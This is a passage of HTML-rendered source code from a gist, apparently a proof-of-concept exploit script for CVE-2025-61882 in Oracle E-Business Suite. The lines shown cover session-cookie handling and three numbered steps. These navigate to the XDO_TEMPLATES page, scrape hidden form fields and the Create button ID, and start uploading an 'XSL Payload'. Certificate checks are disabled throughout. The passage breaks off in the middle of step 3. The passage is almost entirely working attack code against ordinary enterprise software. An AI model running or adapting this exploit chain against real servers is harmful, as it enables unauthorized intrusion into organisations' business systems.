          <td id="file-ebs_cve-2025-61882_poc-py-L123" class="blob-num js-line-number js-blob-rnum" data-line-number="123"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC123" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">cookies</span>.<span class="pl-c1">update</span>(<span class="pl-s1">r</span>.<span class="pl-c1">cookies</span>.<span class="pl-c1">get_dict</span>())</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L124" class="blob-num js-line-number js-blob-rnum" data-line-number="124"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC124" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-s1">cookies</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L125" class="blob-num js-line-number js-blob-rnum" data-line-number="125"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC125" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L126" class="blob-num js-line-number js-blob-rnum" data-line-number="126"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC126" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Failed to obtain valid session cookies."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L127" class="blob-num js-line-number js-blob-rnum" data-line-number="127"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC127" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L128" class="blob-num js-line-number js-blob-rnum" data-line-number="128"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC128" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-s1">requests</span>.<span class="pl-c1">RequestException</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L129" class="blob-num js-line-number js-blob-rnum" data-line-number="129"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC129" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Something went wrong while getting cookies. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L130" class="blob-num js-line-number js-blob-rnum" data-line-number="130"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC130" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L131" class="blob-num js-line-number js-blob-rnum" data-line-number="131"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC131" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L132" class="blob-num js-line-number js-blob-rnum" data-line-number="132"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC132" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_1</span>(<span class="pl-s1">url</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L133" class="blob-num js-line-number js-blob-rnum" data-line-number="133"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC133" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 1: Naviating to /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L134" class="blob-num js-line-number js-blob-rnum" data-line-number="134"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC134" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">url1</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L135" class="blob-num js-line-number js-blob-rnum" data-line-number="135"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC135" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">response1</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">get</span>(<span class="pl-s1">url1</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L136" class="blob-num js-line-number js-blob-rnum" data-line-number="136"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC136" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">return</span> <span class="pl-s1">response1</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L137" class="blob-num js-line-number js-blob-rnum" data-line-number="137"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC137" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L138" class="blob-num js-line-number js-blob-rnum" data-line-number="138"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC138" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_2</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html_content</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L139" class="blob-num js-line-number js-blob-rnum" data-line-number="139"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC139" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 2: Navigating to Create Template Page..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L140" class="blob-num js-line-number js-blob-rnum" data-line-number="140"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC140" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">soup</span> <span class="pl-c1">=</span> <span class="pl-en">BeautifulSoup</span>(<span class="pl-s1">html_content</span>, <span class="pl-s">'html.parser'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L141" class="blob-num js-line-number js-blob-rnum" data-line-number="141"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC141" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L142" class="blob-num js-line-number js-blob-rnum" data-line-number="142"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC142" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">form_tag</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'form'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultFormName'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L143" class="blob-num js-line-number js-blob-rnum" data-line-number="143"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC143" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">form_tag</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L144" class="blob-num js-line-number js-blob-rnum" data-line-number="144"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC144" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Cannot find form DefaultFormName"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L145" class="blob-num js-line-number js-blob-rnum" data-line-number="145"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC145" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L146" class="blob-num js-line-number js-blob-rnum" data-line-number="146"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC146" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L147" class="blob-num js-line-number js-blob-rnum" data-line-number="147"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC147" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">action_url</span> <span class="pl-c1">=</span> <span class="pl-s1">form_tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'action'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L148" class="blob-num js-line-number js-blob-rnum" data-line-number="148"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC148" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">action_url</span>.<span class="pl-c1">startswith</span>(<span class="pl-s">"/"</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L149" class="blob-num js-line-number js-blob-rnum" data-line-number="149"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC149" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">action_url</span><span class="pl-kos">}</span></span>"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L150" class="blob-num js-line-number js-blob-rnum" data-line-number="150"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC150" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L151" class="blob-num js-line-number js-blob-rnum" data-line-number="151"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC151" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s1">action_url</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L152" class="blob-num js-line-number js-blob-rnum" data-line-number="152"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC152" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L153" class="blob-num js-line-number js-blob-rnum" data-line-number="153"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC153" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span> <span class="pl-c1">=</span> {}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L154" class="blob-num js-line-number js-blob-rnum" data-line-number="154"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC154" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">for</span> <span class="pl-s1">tag</span> <span class="pl-c1">in</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'input'</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'hidden'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L155" class="blob-num js-line-number js-blob-rnum" data-line-number="155"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC155" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'name'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L156" class="blob-num js-line-number js-blob-rnum" data-line-number="156"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC156" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L157" class="blob-num js-line-number js-blob-rnum" data-line-number="157"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC157" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">name</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L158" class="blob-num js-line-number js-blob-rnum" data-line-number="158"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC158" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s1">name</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span> <span class="pl-k">if</span> <span class="pl-s1">value</span> <span class="pl-k">else</span> <span class="pl-s">""</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L159" class="blob-num js-line-number js-blob-rnum" data-line-number="159"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC159" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L160" class="blob-num js-line-number js-blob-rnum" data-line-number="160"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC160" class="blob-code blob-code-inner js-file-line">   </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L161" class="blob-num js-line-number js-blob-rnum" data-line-number="161"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC161" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">create_btn</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">"button"</span>, {<span class="pl-s">"id"</span>: <span class="pl-s">"Create"</span>})</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L162" class="blob-num js-line-number js-blob-rnum" data-line-number="162"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC162" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L163" class="blob-num js-line-number js-blob-rnum" data-line-number="163"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC163" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">create_btn</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L164" class="blob-num js-line-number js-blob-rnum" data-line-number="164"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC164" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">onclick_text</span> <span class="pl-c1">=</span> <span class="pl-s1">create_btn</span>.<span class="pl-c1">get</span>(<span class="pl-s">"onclick"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L165" class="blob-num js-line-number js-blob-rnum" data-line-number="165"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC165" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">match</span> <span class="pl-c1">=</span> <span class="pl-s1">re</span>.<span class="pl-c1">search</span>(<span class="pl-s">r"'_FORM_SUBMIT_BUTTON':'([^']+)'"</span>, <span class="pl-s1">onclick_text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L166" class="blob-num js-line-number js-blob-rnum" data-line-number="166"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC166" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">match</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L167" class="blob-num js-line-number js-blob-rnum" data-line-number="167"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC167" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">submit_id</span> <span class="pl-c1">=</span> <span class="pl-s1">match</span>.<span class="pl-c1">group</span>(<span class="pl-c1">1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L168" class="blob-num js-line-number js-blob-rnum" data-line-number="168"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC168" class="blob-code blob-code-inner js-file-line">            <span class="pl-c"># print(f"[+] Found Create Button ID: {submit_id}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L169" class="blob-num js-line-number js-blob-rnum" data-line-number="169"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC169" class="blob-code blob-code-inner js-file-line">            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L170" class="blob-num js-line-number js-blob-rnum" data-line-number="170"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC170" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'_FORM_SUBMIT_BUTTON'</span>] <span class="pl-c1">=</span> <span class="pl-s1">submit_id</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L171" class="blob-num js-line-number js-blob-rnum" data-line-number="171"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC171" class="blob-code blob-code-inner js-file-line">            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L172" class="blob-num js-line-number js-blob-rnum" data-line-number="172"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC172" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'event'</span>] <span class="pl-c1">=</span> <span class="pl-s">''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L173" class="blob-num js-line-number js-blob-rnum" data-line-number="173"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC173" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'source'</span>] <span class="pl-c1">=</span> <span class="pl-s">''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L174" class="blob-num js-line-number js-blob-rnum" data-line-number="174"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC174" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L175" class="blob-num js-line-number js-blob-rnum" data-line-number="175"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC175" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Regex failed on onclick text"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L176" class="blob-num js-line-number js-blob-rnum" data-line-number="176"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC176" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L177" class="blob-num js-line-number js-blob-rnum" data-line-number="177"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC177" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L178" class="blob-num js-line-number js-blob-rnum" data-line-number="178"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC178" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Could not find Create Template button"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L179" class="blob-num js-line-number js-blob-rnum" data-line-number="179"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC179" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L180" class="blob-num js-line-number js-blob-rnum" data-line-number="180"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC180" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L181" class="blob-num js-line-number js-blob-rnum" data-line-number="181"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC181" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Sending POST request to navigate to Create Page..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L182" class="blob-num js-line-number js-blob-rnum" data-line-number="182"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC182" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L183" class="blob-num js-line-number js-blob-rnum" data-line-number="183"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC183" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L184" class="blob-num js-line-number js-blob-rnum" data-line-number="184"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC184" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L185" class="blob-num js-line-number js-blob-rnum" data-line-number="185"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC185" class="blob-code blob-code-inner js-file-line">                </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L186" class="blob-num js-line-number js-blob-rnum" data-line-number="186"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC186" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"Create Template"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span> <span class="pl-c1">and</span> <span class="pl-s">"AttachData_oafileUpload"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L187" class="blob-num js-line-number js-blob-rnum" data-line-number="187"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC187" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span> </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L188" class="blob-num js-line-number js-blob-rnum" data-line-number="188"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC188" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L189" class="blob-num js-line-number js-blob-rnum" data-line-number="189"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC189" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Failed. Still on Search page or Error."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L190" class="blob-num js-line-number js-blob-rnum" data-line-number="190"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC190" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s1">r</span>.<span class="pl-c1">text</span>[:<span class="pl-c1">500</span>])</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L191" class="blob-num js-line-number js-blob-rnum" data-line-number="191"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC191" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L192" class="blob-num js-line-number js-blob-rnum" data-line-number="192"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC192" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L193" class="blob-num js-line-number js-blob-rnum" data-line-number="193"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC193" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-v">Exception</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L194" class="blob-num js-line-number js-blob-rnum" data-line-number="194"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC194" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"Error: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L195" class="blob-num js-line-number js-blob-rnum" data-line-number="195"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC195" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L196" class="blob-num js-line-number js-blob-rnum" data-line-number="196"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC196" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_3</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html_content</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L197" class="blob-num js-line-number js-blob-rnum" data-line-number="197"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC197" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 3: Parsing Create Template Page &amp; Uploading XSL Payload..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L198" class="blob-num js-line-number js-blob-rnum" data-line-number="198"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC198" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">soup</span> <span class="pl-c1">=</span> <span class="pl-en">BeautifulSoup</span>(<span class="pl-s1">html_content</span>, <span class="pl-s">'html.parser'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L199" class="blob-num js-line-number js-blob-rnum" data-line-number="199"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC199" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L200" class="blob-num js-line-number js-blob-rnum" data-line-number="200"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC200" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">form</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'form'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultFormName'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L201" class="blob-num js-line-number js-blob-rnum" data-line-number="201"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC201" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">form</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L202" class="blob-num js-line-number js-blob-rnum" data-line-number="202"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC202" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Cannot find form DefaultFormName"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L203" class="blob-num js-line-number js-blob-rnum" data-line-number="203"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC203" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L204" class="blob-num js-line-number js-blob-rnum" data-line-number="204"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC204" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L205" class="blob-num js-line-number js-blob-rnum" data-line-number="205"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC205" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">action_url</span> <span class="pl-c1">=</span> <span class="pl-s1">form</span>.<span class="pl-c1">get</span>(<span class="pl-s">'action'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L206" class="blob-num js-line-number js-blob-rnum" data-line-number="206"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC206" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">action_url</span>.<span class="pl-c1">startswith</span>(<span class="pl-s">"/"</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L207" class="blob-num js-line-number js-blob-rnum" data-line-number="207"></td>
